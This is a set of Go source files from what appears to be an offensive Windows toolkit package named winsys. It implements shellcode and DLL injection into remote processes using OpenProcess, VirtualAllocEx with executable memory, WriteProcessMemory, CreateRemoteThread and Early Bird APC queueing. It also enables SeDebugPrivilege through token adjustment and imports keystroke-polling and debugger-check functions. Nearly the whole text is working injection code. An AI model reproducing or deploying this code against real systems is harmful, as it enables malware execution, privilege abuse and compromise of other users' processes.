0 150 | Proc, _, _ := OpenProcess.Call(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ, uintptr(F), uintptr(PID)) 151 | R_Addr, _, _ := VirtualAllocEx.Call(Proc, uintptr(F), uintptr(len(Shellcode)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) 152 | WriteProcessMemory.Call(Proc, R_Addr, uintptr(unsafe.Pointer(&Shellcode[0])), uintptr(len(Shellcode)), uintptr(F)) 153 | return Proc, R_Addr, F 154 | } 155 | 156 | //ShellCodeCreateRemoteThread spawns shellcode in a remote process using CreateRemoteThread 157 | func ShellCodeCreateRemoteThread(Proc uintptr, R_Addr uintptr, F int) error { 158 | CRTS, _, _ := CreateRemoteThread.Call(Proc, uintptr(F), 0, R_Addr, uintptr(F), 0, uintptr(F)) 159 | if CRTS == 0 { 160 | err := errors.New("[!] ERROR : Can't Create Remote Thread.") 161 | return err 162 | } 163 | _, _, errWaitForSingleObject := WaitForSingleObject.Call(Proc, 0, syscall.INFINITE) 164 | if errWaitForSingleObject.Error() != "The operation completed successfully." { 165 | return errors.New("Error calling WaitForSingleObject:\r\n") 166 | } 167 | 168 | return nil 169 | } 170 | 171 | //EBAPCQueue spawns shellcode in a remote process using Early Bird APC Queue Code Injection 172 | func EBAPCQueue(R_Addr uintptr, victimHandle windows.Handle) error { 173 | _, _, errQueueUserAPC := QueueUserAPC.Call(R_Addr, uintptr(victimHandle), 0) 174 | if errQueueUserAPC.Error() != "The operation completed successfully." { 175 | err := errors.New("Error calling QueueUserAPC:\r\n" + errQueueUserAPC.Error()) 176 | return err 177 | } 178 | windows.ResumeThread(victimHandle) 179 | return nil 180 | } 181 | 182 | func MoveFile(source, destination string) (err error) { 183 | src, err := os.Open(source) 184 | if err != nil { 185 | return err 186 | } 187 | defer src.Close() 188 | fi, err := src.Stat() 189 | if err != nil { 190 | return err 191 | } 192 | flag := os.O_WRONLY | os.O_CREATE | os.O_TRUNC 193 | perm := fi.Mode() & os.ModePerm 194 | dst, err := os.OpenFile(destination, flag, perm) 195 | if err != nil { 196 | return err 197 | } 198 | defer dst.Close() 199 | _, err = io.Copy(dst, src) 200 | if err != nil { 201 | dst.Close() 202 | os.Remove(destination) 203 | return err 204 | } 205 | err = dst.Close() 206 | if err != nil { 207 | return err 208 | } 209 | err = src.Close() 210 | if err != nil { 211 | return err 212 | } 213 | 214 | return nil 215 | } 216 | -------------------------------------------------------------------------------- /pkg/winsys/constants.go: -------------------------------------------------------------------------------- 1 | package winsys 2 | 3 | import "syscall" 4 | 5 | const ( 6 | ERROR_NOT_ALL_ASSIGNED syscall.Errno = 1300 7 | 8 | SecurityAnonymous = 0 9 | SecurityIdentification = 1 10 | SecurityImpersonation = 2 11 | SecurityDelegation = 3 12 | 13 | // Integrity Levels 14 | SECURITY_MANDATORY_UNTRUSTED_RID = 0x00000000 15 | SECURITY_MANDATORY_LOW_RID = 0x00001000 16 | SECURITY_MANDATORY_MEDIUM_RID = 0x00002000 17 | SECURITY_MANDATORY_HIGH_RID = 0x00003000 18 | SECURITY_MANDATORY_SYSTEM_RID = 0x00004000 19 | SECURITY_MANDATORY_PROTECTED_PROCESS_RID = 0x00005000 20 | 21 | SE_PRIVILEGE_ENABLED_BY_DEFAULT uint32 = 0x00000001 22 | SE_PRIVILEGE_ENABLED uint32 = 0x00000002 23 | SE_PRIVILEGE_REMOVED uint32 = 0x00000004 24 | SE_PRIVILEGE_USED_FOR_ACCESS uint32 = 0x80000000 25 | 26 | // https://docs.microsoft.com/en-us/windows/desktop/secauthz/privilege-constants 27 | SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege" 28 | SE_AUDIT_NAME = "SeAuditPrivilege" 29 | SE_BACKUP_NAME = "SeBackupPrivilege" 30 | SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege" 31 | SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege" 32 | SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege" 33 | SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege" 34 | SE_CREATE_SYMBOLIC_LINK_NAME = "SeCreateSymbolicLinkPrivilege" 35 | SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege" 36 | SE_DEBUG_NAME = "SeDebugPrivilege" 37 | SE_DELEGATE_SESSION_USER_IMPERSONATE_NAME = "SeDelegateSessionUserImpersonatePrivilege" 38 | SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege" 39 | SE_IMPERSONATE_NAME = "SeImpersonatePrivilege" 40 | SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege" 41 | SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege" 42 | SE_INC_WORKING_SET_NAME = "SeIncreaseWorkingSetPrivilege" 43 | SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege" 44 | SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege" 45 | SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege" 46 | SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege" 47 | SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege" 48 | SE_RELABEL_NAME = "SeRelabelPrivilege" 49 | SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege" 50 | SE_RESTORE_NAME = "SeRestorePrivilege" 51 | 52 | MEM_COMMIT = 0x1000 53 | MEM_RESERVE = 0x2000 54 | MEM_RELEASE = 0x8000 55 | 56 | PROCESS_CREATE_PROCESS = 0x0080 57 | PROCESS_CREATE_THREAD = 0x0002 58 | PROCESS_DUP_HANDLE = 0x0040 59 | PROCESS_QUERY_INFORMATION = 0x0400 60 | PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 61 | PROCESS_SET_INFORMATION = 0x0200 62 | PROCESS_SET_QUOTA = 0x0100 63 | PROCESS_SUSPEND_RESUME = 0x0800 64 | PROCESS_TERMINATE = 0x0001 65 | PROCESS_VM_OPERATION = 0x0008 66 | PROCESS_VM_READ = 0x0010 67 | PROCESS_VM_WRITE = 0x0020 68 | PROCESS_ALL_ACCESS = 0x001F0FFF 69 | 70 | CREATE_SUSPENDED = 0x00000004 71 | 72 | SIZE = 64 * 1024 73 | INFINITE = 0xFFFFFFFF 74 | 75 | PAGE_NOACCESS = 0x00000001 76 | PAGE_READONLY = 0x00000002 77 | PAGE_READWRITE = 0x00000004 78 | PAGE_WRITECOPY = 0x00000008 79 | PAGE_EXECUTE = 0x00000010 80 | PAGE_EXECUTE_READ = 0x00000020 81 | PAGE_EXECUTE_READWRITE = 0x00000040 82 | PAGE_EXECUTE_WRITECOPY = 0x00000080 83 | PAGE_GUARD = 0x00000100 84 | PAGE_NOCACHE = 0x00000200 85 | PAGE_WRITECOMBINE = 0x00000400 86 | 87 | DELETE = 0x00010000 88 | READ_CONTROL = 0x00020000 89 | WRITE_DAC = 0x00040000 90 | WRITE_OWNER = 0x00080000 91 | SYNCHRONIZE = 0x00100000 92 | STANDARD_RIGHTS_READ = READ_CONTROL 93 | STANDARD_RIGHTS_WRITE = READ_CONTROL 94 | STANDARD_RIGHTS_EXECUTE = READ_CONTROL 95 | STANDARD_RIGHTS_REQUIRED = DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER 96 | STANDARD_RIGHTS_ALL = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE 97 | 98 | TOKEN_ASSIGN_PRIMARY = 0x0001 99 | TOKEN_DUPLICATE = 0x0002 100 | TOKEN_IMPERSONATE = 0x0004 101 | TOKEN_QUERY = 0x0008 102 | TOKEN_QUERY_SOURCE = 0x0010 103 | TOKEN_ADJUST_PRIVILEGES = 0x0020 104 | TOKEN_ADJUST_GROUPS = 0x0040 105 | TOKEN_ADJUST_DEFAULT = 0x0080 106 | TOKEN_ADJUST_SESSIONID = 0x0100 107 | TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | 108 | TOKEN_ASSIGN_PRIMARY | 109 | TOKEN_DUPLICATE | 110 | TOKEN_IMPERSONATE | 111 | TOKEN_QUERY | 112 | TOKEN_QUERY_SOURCE | 113 | TOKEN_ADJUST_PRIVILEGES | 114 | TOKEN_ADJUST_GROUPS | 115 | TOKEN_ADJUST_DEFAULT | 116 | TOKEN_ADJUST_SESSIONID) 117 | ) 118 | 119 | -------------------------------------------------------------------------------- /pkg/winsys/inject.go: -------------------------------------------------------------------------------- 1 | package winsys 2 | 3 | import ( 4 | "fmt" 5 | "syscall" 6 | "unsafe" 7 | 8 | "github.com/pkg/errors" 9 | ) 10 | 11 | var nullRef int 12 | 13 | func OpenProcessHandle(i *Inject) error { 14 | var rights uint32 = PROCESS_CREATE_THREAD | 15 | PROCESS_QUERY_INFORMATION | 16 | PROCESS_VM_OPERATION | 17 | PROCESS_VM_WRITE | 18 | PROCESS_VM_READ 19 | var inheritHandle uint32 = 0 20 | var processID uint32 = i.Pid 21 | remoteProcHandle, _, lastErr := ProcOpenProcess.Call( 22 | uintptr(rights), 23 | uintptr(inheritHandle), 24 | uintptr(processID)) 25 | if remoteProcHandle == 0 { 26 | return errors.Wrap(lastErr, "[!] ERROR : Can't Open Remote Process. Maybe running w elevated integrity?") 27 | } 28 | i.RemoteProcHandle = remoteProcHandle 29 | fmt.Printf("[-] Input PID: %v\n", i.Pid) 30 | fmt.Printf("[-] Input DLL: %v\n", i.DllPath) 31 | fmt.Printf("[+] Process handle: %v\n", unsafe.Pointer(i.RemoteProcHandle)) 32 | return nil 33 | } 34 | 35 | func VirtualAllocEx(i *Inject) error { 36 | var flAllocationType uint32 = MEM_COMMIT | MEM_RESERVE 37 | var flProtect uint32 = PAGE_EXECUTE_READWRITE 38 | lpBaseAddress, _, lastErr := ProcVirtualAllocEx.Call( 39 | i.RemoteProcHandle, 40 | uintptr(nullRef), 41 | uintptr(i.DLLSize), 42 | uintptr(flAllocationType), 43 | uintptr(flProtect)) 44 | if lpBaseAddress == 0 { 45 | return errors.Wrap(lastErr, "[!] ERROR : Can't Allocate Memory On Remote Process.") 46 | } 47 | i.Lpaddr = lpBaseAddress 48 | fmt.Printf("[+] Base memory address: %v\n", unsafe.Pointer(i.Lpaddr)) 49 | return nil 50 | } 51 | 52 | func WriteProcessMemory(i *Inject) error { 53 | var nBytesWritten *byte 54 | dllPathBytes, err := syscall.BytePtrFromString(i.DllPath) 55 | if err != nil { 56 | return err 57 | } 58 | writeMem, _, lastErr := ProcWriteProcessMemory.Call( 59 | i.RemoteProcHandle, 60 | i.Lpaddr, 61 | uintptr(unsafe.Pointer(dllPathBytes)), //LPCVOID is a pointer to a buffer of data 62 | uintptr(i.DLLSize), 63 | uintptr(unsafe.Pointer(nBytesWritten))) 64 | if writeMem == 0 { 65 | return errors.Wrap(lastErr, "[!] ERROR : Can't write to process memory.") 66 | } 67 | return nil 68 | } 69 | 70 | func GetLoadLibAddress(i *Inject) error { 71 | var llibBytePtr *byte 72 | llibBytePtr, err := syscall.BytePtrFromString("LoadLibraryA") 73 | if err != nil { 74 | return err 75 | } 76 | lladdr, _, lastErr := ProcGetProcAddress.Call( 77 | ModKernel32.Handle(), 78 | uintptr(unsafe.Pointer(llibBytePtr))) 79 | if &lladdr == nil { 80 | return errors.Wrap(lastErr, "[!] ERROR : Can't get process address.") 81 | } 82 | i.LoadLibAddr = lladdr 83 | fmt.Printf("[+] Kernel32.Dll memory address: %v\n", unsafe.Pointer(ModKernel32.Handle())) 84 | fmt.Printf("[+] Loader memory address: %v\n", unsafe.Pointer(i.LoadLibAddr)) 85 | return nil 86 | } 87 | 88 | func CreateRemoteThread(i *Inject) error { 89 | var threadId uint32 = 0 90 | var dwCreationFlags uint32 = 0 91 | remoteThread, _, lastErr := ProcCreateRemoteThread.Call( 92 | i.RemoteProcHandle, 93 | uintptr(nullRef), 94 | uintptr(0), 95 | i.LoadLibAddr, 96 | i.Lpaddr, 97 | uintptr(dwCreationFlags), 98 | uintptr(unsafe.Pointer(&threadId)), 99 | ) 100 | if remoteThread == 0 { 101 | return errors.Wrap(lastErr, "[!] ERROR : Can't Create Remote Thread.") 102 | } 103 | i.RThread = remoteThread 104 | fmt.Printf("[+] Thread identifier created: %v\n", unsafe.Pointer(&threadId)) 105 | fmt.Printf("[+] Thread handle created: %v\n", unsafe.Pointer(i.RThread)) 106 | return nil 107 | } 108 | 109 | func WaitForSingleObject(i *Inject) error { 110 | var dwMilliseconds uint32 = INFINITE 111 | var dwExitCode uint32 112 | rWaitValue, _, lastErr := ProcWaitForSingleObject.Call( 113 | i.RThread, 114 | uintptr(dwMilliseconds)) 115 | if rWaitValue != 0 { 116 | return errors.Wrap(lastErr, "[!] ERROR : Error returning thread wait state.") 117 | } 118 | success, _, lastErr := ProcGetExitCodeThread.Call( 119 | i.RThread, 120 | uintptr(unsafe.Pointer(&dwExitCode))) 121 | if success == 0 { 122 | return errors.Wrap(lastErr, "[!] ERROR : Error returning thread exit code.") 123 | } 124 | closed, _, lastErr := ProcCloseHandle.Call(i.RThread) 125 | if closed == 0 { 126 | return errors.Wrap(lastErr, "[!] ERROR : Error closing thread handle.") 127 | } 128 | return nil 129 | } 130 | 131 | func VirtualFreeEx(i *Inject) error { 132 | var dwFreeType uint32 = MEM_RELEASE 133 | var size uint32 = 0 //Size must be 0 if MEM_RELEASE all of the region 134 | rFreeValue, _, lastErr := ProcVirtualFreeEx.Call( 135 | i.RemoteProcHandle, 136 | i.Lpaddr, 137 | uintptr(size), 138 | uintptr(dwFreeType)) 139 | if rFreeValue == 0 { 140 | return errors.Wrap(lastErr, "[!] ERROR : Error freeing process memory.") 141 | } 142 | fmt.Println("[+] Success: Freed memory region") 143 | return nil 144 | } -------------------------------------------------------------------------------- /pkg/winsys/models.go: -------------------------------------------------------------------------------- 1 | package winsys 2 | 3 | import "syscall" 4 | 5 | type Inject struct { 6 | Pid uint32 7 | DllPath string 8 | DLLSize uint32 9 | Privilege string 10 | RemoteProcHandle uintptr 11 | Lpaddr uintptr 12 | LoadLibAddr uintptr 13 | RThread uintptr 14 | Token TOKEN 15 | } 16 | 17 | type Privilege struct { 18 | LUID int64 19 | Name string 20 | EnabledByDefault bool 21 | Enabled bool 22 | Removed bool 23 | Used bool 24 | } 25 | 26 | type TOKEN struct { 27 | tokenHandle syscall.Token 28 | } 29 | 30 | // User represent the information about a Windows account. 31 | type User struct { 32 | SID string 33 | Account string 34 | Domain string 35 | Type uint32 36 | } 37 | 38 | -------------------------------------------------------------------------------- /pkg/winsys/token.go: -------------------------------------------------------------------------------- 1 | package winsys 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "fmt" 7 | "github.com/pkg/errors" 8 | "strings" 9 | "sync" 10 | "syscall" 11 | "unsafe" 12 | ) 13 | 14 | var ( 15 | privNames = make(map[string]int64) 16 | privNameMutex sync.Mutex 17 | ) 18 | 19 | func SetTokenPrivilege(i *Inject) error { 20 | localTokenHandle, err := getToken(i) 21 | if err != nil { 22 | return err 23 | } 24 | 25 | //First pass to get token privs 26 | _, err = GetTokenPrivileges(localTokenHandle) 27 | if err != nil { 28 | return err 29 | } 30 | 31 | // Start LookupPrivilegeValue 32 | // https://docs.microsoft.com/en-us/windows/desktop/secauthz/privilege-constants 33 | var tokenPrivilege []string 34 | if len(tokenPrivilege) == 0 { 35 | tokenPrivilege = append(tokenPrivilege, SE_DEBUG_NAME) 36 | } else { 37 | tokenPrivilege = strings.Split(strings.Replace(i.Privilege, " ", "", -1), ",") 38 | } 39 | 40 | mpvn, err := MapPrivilegeValueToName(tokenPrivilege) 41 | if err != nil { 42 | return errors.Wrap(err, "Error: Could not get LUID from privilege") 43 | } 44 | //byte representation of the luid and attributes struct 45 | var b bytes.Buffer 46 | binary.Write(&b, binary.LittleEndian, uint32(len(mpvn))) 47 | var luid int64 48 | for _, p := range mpvn { 49 | luid = p 50 | binary.Write(&b, binary.LittleEndian, p) 51 | binary.Write(&b, binary.LittleEndian, uint32(SE_PRIVILEGE_ENABLED)) 52 | } 53 | 54 | success, err := AdjustTokenPrivileges(localTokenHandle, false, &b.Bytes()[0], uint32(b.Len()), nil, nil) 55 | if success == 0 { 56 | return err 57 | } 58 | if err == ERROR_NOT_ALL_ASSIGNED { 59 | return err 60 | } 61 | fmt.Printf("Successfully added %s to LUID %v\n", tokenPrivilege[0], luid) 62 | 63 | //Second pass for getting token privs (see if they stuck) 64 | _, err = GetTokenPrivileges(localTokenHandle) 65 | if err != nil { 66 | return err 67 | } 68 | return nil 69 | } 70 | 71 | func getToken(i *Inject) (syscall.Token, error) { 72 | currentProcessHandle, err := syscall.GetCurrentProcess() 73 | if err != nil { 74 | return 0, err 75 | } 76 | 77 | // fmt.Printf("Current Process Handle: %v\n", currentProcessHandle) 78 | err = syscall.OpenProcessToken(currentProcessHandle, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &i.Token.tokenHandle) 79 | if err != nil { 80 | return 0, err 81 | } 82 | return i.Token.tokenHandle, nil 83 | } 84 | 85 | func LookupPrivilegeValue(systemName string, name string, luid *int64) (err error) { 86 | var sN *uint16 87 | sN, err = syscall.UTF16PtrFromString(systemName) 88 | if err != nil { 89 | return 90 | } 91 | var n *uint16 92 | n, err = syscall.UTF16PtrFromString(name) 93 | if err != nil { 94 | return 95 | } 96 | r1, _, e1 := syscall.Syscall(ProcLookupPrivilegeValueW.Addr(), 3, uintptr(unsafe.Pointer(sN)), uintptr(unsafe.Pointer(n)), uintptr(unsafe.Pointer(luid))) 97 | if r1 == 0 { 98 | if e1 != 0 { 99 | err = error(e1) 100 | } else { 101 | err = syscall.EINVAL 102 | } 103 | } 104 | return 105 | } 106 | 107 | func MapPrivilegeValueToName(names []string) ([]int64, error) { 108 | var privileges []int64 109 | privNameMutex.Lock() 110 | defer privNameMutex.Unlock() 111 | for _, name := range names { 112 | p, ok := privNames[name] 113 | if !ok { 114 | err := LookupPrivilegeValue("", name, &p) 115 | if err != nil { 116 | return nil, errors.Wrapf(err, "LookupPrivilegeValue failed on '%v'", name) 117 | } 118 | privNames[name] = p 119 | } 120 | privileges = append(privileges, p) 121 | } 122 | return privileges, nil 123 | } 124 | 125 | func LookupPrivilegeName(systemName string, luid int64) (string, error) { 126 | buf := make([]uint16, 256) 127 | bufSize := uint32(len(buf)) 128 | var sN *uint16 129 | sN, err := syscall.UTF16PtrFromString(systemName) 130 | if err != nil { 131 | return "", err 132 | } 133 | syscall.StringToUTF16Ptr(systemName) 134 | r1, _, e1 := syscall.Syscall6(ProcLookupPrivilegeNameW.Addr(), 4, uintptr(unsafe.Pointer(sN)), uintptr(unsafe.Pointer(&luid)), uintptr(unsafe.Pointer(&buf[0])), uintptr(unsafe.Pointer(&bufSize)), 0, 0) 135 | if r1 == 0 { 136 | if e1 != 0 { 137 | err = error(e1) 138 | } else { 139 | err = syscall.EINVAL 140 | } 141 | } 142 | return syscall.UTF16ToString(buf), nil 143 | } 144 | 145 | func GetTokenPrivileges(token syscall.Token) (map[string]Privilege, error) { 146 | var size uint32 147 | syscall.GetTokenInformation(token, syscall.TokenPrivileges, nil, 0, &size) 148 | b := bytes.NewBuffer(make([]byte, size)) 149 | err := syscall.GetTokenInformation(token, syscall.TokenPrivileges, &b.Bytes()[0], uint32(b.Len()), &size) 150 | if err != nil { 151 | return nil, err 152 | } 153 | var privilegeCount uint32 154 | err = binary.Read(b, binary.LittleEndian, &privilegeCount) 155 | if err != nil { 156 | return nil, err 157 | } 158 | fmt.Printf("[+] Identified %v privileges...\n", privilegeCount) 159 | rtn := make(map[string]Privilege, privilegeCount) 160 | for i := 0; i < int(privilegeCount); i++ { 161 | var luid int64 162 | err = binary.Read(b, binary.LittleEndian, &luid) 163 | if err != nil { 164 | return nil, err 165 | } 166 | 167 | var attributes uint32 168 | err = binary.Read(b, binary.LittleEndian, &attributes) 169 | if err != nil { 170 | return nil, err 171 | } 172 | 173 | name, err := LookupPrivilegeName("", luid) 174 | if err != nil { 175 | return nil, err 176 | } 177 | // https://docs.microsoft.com/en-us/windows/desktop/api/winnt/ns-winnt-_privilege_set 178 | rtn[name] = Privilege{ 179 | LUID: luid, 180 | Name: name, 181 | EnabledByDefault: (attributes & SE_PRIVILEGE_ENABLED_BY_DEFAULT) > 0, 182 | Enabled: (attributes & SE_PRIVILEGE_ENABLED) > 0, 183 | Removed: (attributes & SE_PRIVILEGE_REMOVED) > 0, 184 | Used: (attributes & SE_PRIVILEGE_USED_FOR_ACCESS) > 0, 185 | } 186 | } 187 | for k, v := range rtn { 188 | fmt.Println("Priv Name (key): ", k) 189 | fmt.Println("Priv Enabled: ", v.Enabled) 190 | fmt.Println("Priv Enabled by Default: ", v.EnabledByDefault) 191 | fmt.Println("LUID: ", v.LUID) 192 | fmt.Println("Priv Name: ", v.Name) 193 | fmt.Println("Priv Removed: ", v.Removed) 194 | fmt.Println("Priv Used: ", v.Used) 195 | fmt.Printf("\n\n") 196 | } 197 | return rtn, nil 198 | } 199 | 200 | // GetTokenUser returns the User associated with the given Token. 201 | func GetTokenUser(token syscall.Token) (User, error) { 202 | tokenUser, err := token.GetTokenUser() 203 | if err != nil { 204 | return User{}, err 205 | } 206 | 207 | var user User 208 | user.SID, err = tokenUser.User.Sid.String() 209 | if err != nil { 210 | return user, err 211 | } 212 | 213 | user.Account, user.Domain, user.Type, err = tokenUser.User.Sid.LookupAccount("") 214 | if err != nil { 215 | return user, err 216 | } 217 | 218 | fmt.Println("Account: ", user.Account) 219 | fmt.Println("Domain: ", user.Domain) 220 | // https://docs.microsoft.com/en-us/windows/desktop/cimwin32prov/win32-account 221 | fmt.Println("SID Type: ", user.Type) 222 | fmt.Println("SID: ", user.SID) 223 | 224 | return user, nil 225 | } 226 | 227 | // adjustTokenPrivileges from core zsyscall_windows.go 228 | func AdjustTokenPrivileges(token syscall.Token, disableAllPrivileges bool, newstate *byte, buflen uint32, prevstate *byte, returnlen *uint32) (ret uint32, err error) { 229 | var _p0 uint32 230 | if disableAllPrivileges { 231 | _p0 = 1 232 | } else { 233 | _p0 = 0 234 | } 235 | r0, _, e1 := syscall.Syscall6(ProcAdjustTokenPrivileges.Addr(), 6, uintptr(token), uintptr(_p0), uintptr(unsafe.Pointer(newstate)), uintptr(buflen), uintptr(unsafe.Pointer(prevstate)), uintptr(unsafe.Pointer(returnlen))) 236 | ret = uint32(r0) 237 | if true { 238 | if e1 != 0 { 239 | err = e1 240 | } else { 241 | err = syscall.EINVAL 242 | } 243 | } 244 | return 245 | } 246 | 247 | -------------------------------------------------------------------------------- /pkg/winsys/winmods.go: -------------------------------------------------------------------------------- 1 | package winsys 2 | 3 | import "syscall" 4 | 5 | var ( 6 | ModKernel32 = syscall.NewLazyDLL("kernel32.dll") 7 | modUser32 = syscall.NewLazyDLL("user32.dll") 8 | modAdvapi32 = syscall.NewLazyDLL("Advapi32.dll") 9 | 10 | ProcOpenProcessToken = modAdvapi32.NewProc("GetProcessToken") 11 | ProcLookupPrivilegeValueW = modAdvapi32.NewProc("LookupPrivilegeValueW") 12 | ProcLookupPrivilegeNameW = modAdvapi32.NewProc("LookupPrivilegeNameW") 13 | ProcAdjustTokenPrivileges = modAdvapi32.NewProc("AdjustTokenPrivileges") 14 | ProcGetAsyncKeyState = modUser32.NewProc("GetAsyncKeyState") 15 | ProcVirtualAlloc = ModKernel32.NewProc("VirtualAlloc") 16 | ProcCreateThread = ModKernel32.NewProc("CreateThread") 17 | ProcWaitForSingleObject = ModKernel32.NewProc("WaitForSingleObject") 18 | ProcVirtualAllocEx = ModKernel32.NewProc("VirtualAllocEx") 19 | ProcVirtualFreeEx = ModKernel32.NewProc("VirtualFreeEx") 20 | ProcCreateRemoteThread = ModKernel32.NewProc("CreateRemoteThread") 21 | ProcGetLastError = ModKernel32.NewProc("GetLastError") 22 | ProcWriteProcessMemory = ModKernel32.NewProc("WriteProcessMemory") 23 | ProcOpenProcess = ModKernel32.NewProc("OpenProcess") 24 | ProcGetCurrentProcess = ModKernel32.NewProc("GetCurrentProcess") 25 | ProcIsDebuggerPresent = ModKernel32.NewProc("IsDebuggerPresent") 26 | ProcGetProcAddress = ModKernel32.NewProc("GetProcAddress") 27 | ProcCloseHandle = ModKernel32.NewProc("CloseHandle") 28 | ProcGetExitCodeThread = ModKernel32.NewProc("GetExitCodeThread") 29 | ) 30 | --------------------------------------------------------------------------------